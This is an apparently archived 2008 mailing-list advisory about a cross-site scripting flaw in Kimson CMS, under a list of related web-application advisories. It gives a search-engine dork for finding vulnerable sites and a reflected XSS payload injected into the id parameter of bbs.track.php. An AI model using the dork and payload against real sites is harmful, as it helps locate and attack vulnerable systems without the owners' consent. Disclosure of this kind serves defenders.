Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[waraxe-2008-SA#068] - Sql Injection in vBulletin 3.7.3.pl1

[waraxe-2008-SA#069] - Multiple Sql Injection in vBulletin 3.7.4

[waraxe-2008-SA#069] - Multiple Sql Injection in vBulletin 3.7.4

[DSECRG-08-039] Local File Include Vulnerability in Pluck CMS 4.5.3

From:	md.r00t.defacer_(at)_gmail.com <md.r00t.defacer_(at)_gmail.com>
Date:	19.11.2008
Subject:	Kimson cms cross site scripting vulnerability

                #################################################################
#######
            #                                                                      #
            #  .:::::Kimson Cross Site Scriptting Vulnerbility ::::.      #           
            #####################################################################
###

Discoverd By : md.r00t

special tnx to: Hadihadi(Virangar Security Team)
& all virangar members & all hackerz & Hiva Digital Security Team

--------------
D0rk: inurl:bbs.track.php?id=
----
xss:
http://site.com/[patch]/bbs.track.
php?id=<script>alert(/0/)</script>
----
Contact: md.r00t.defacer@gmail.com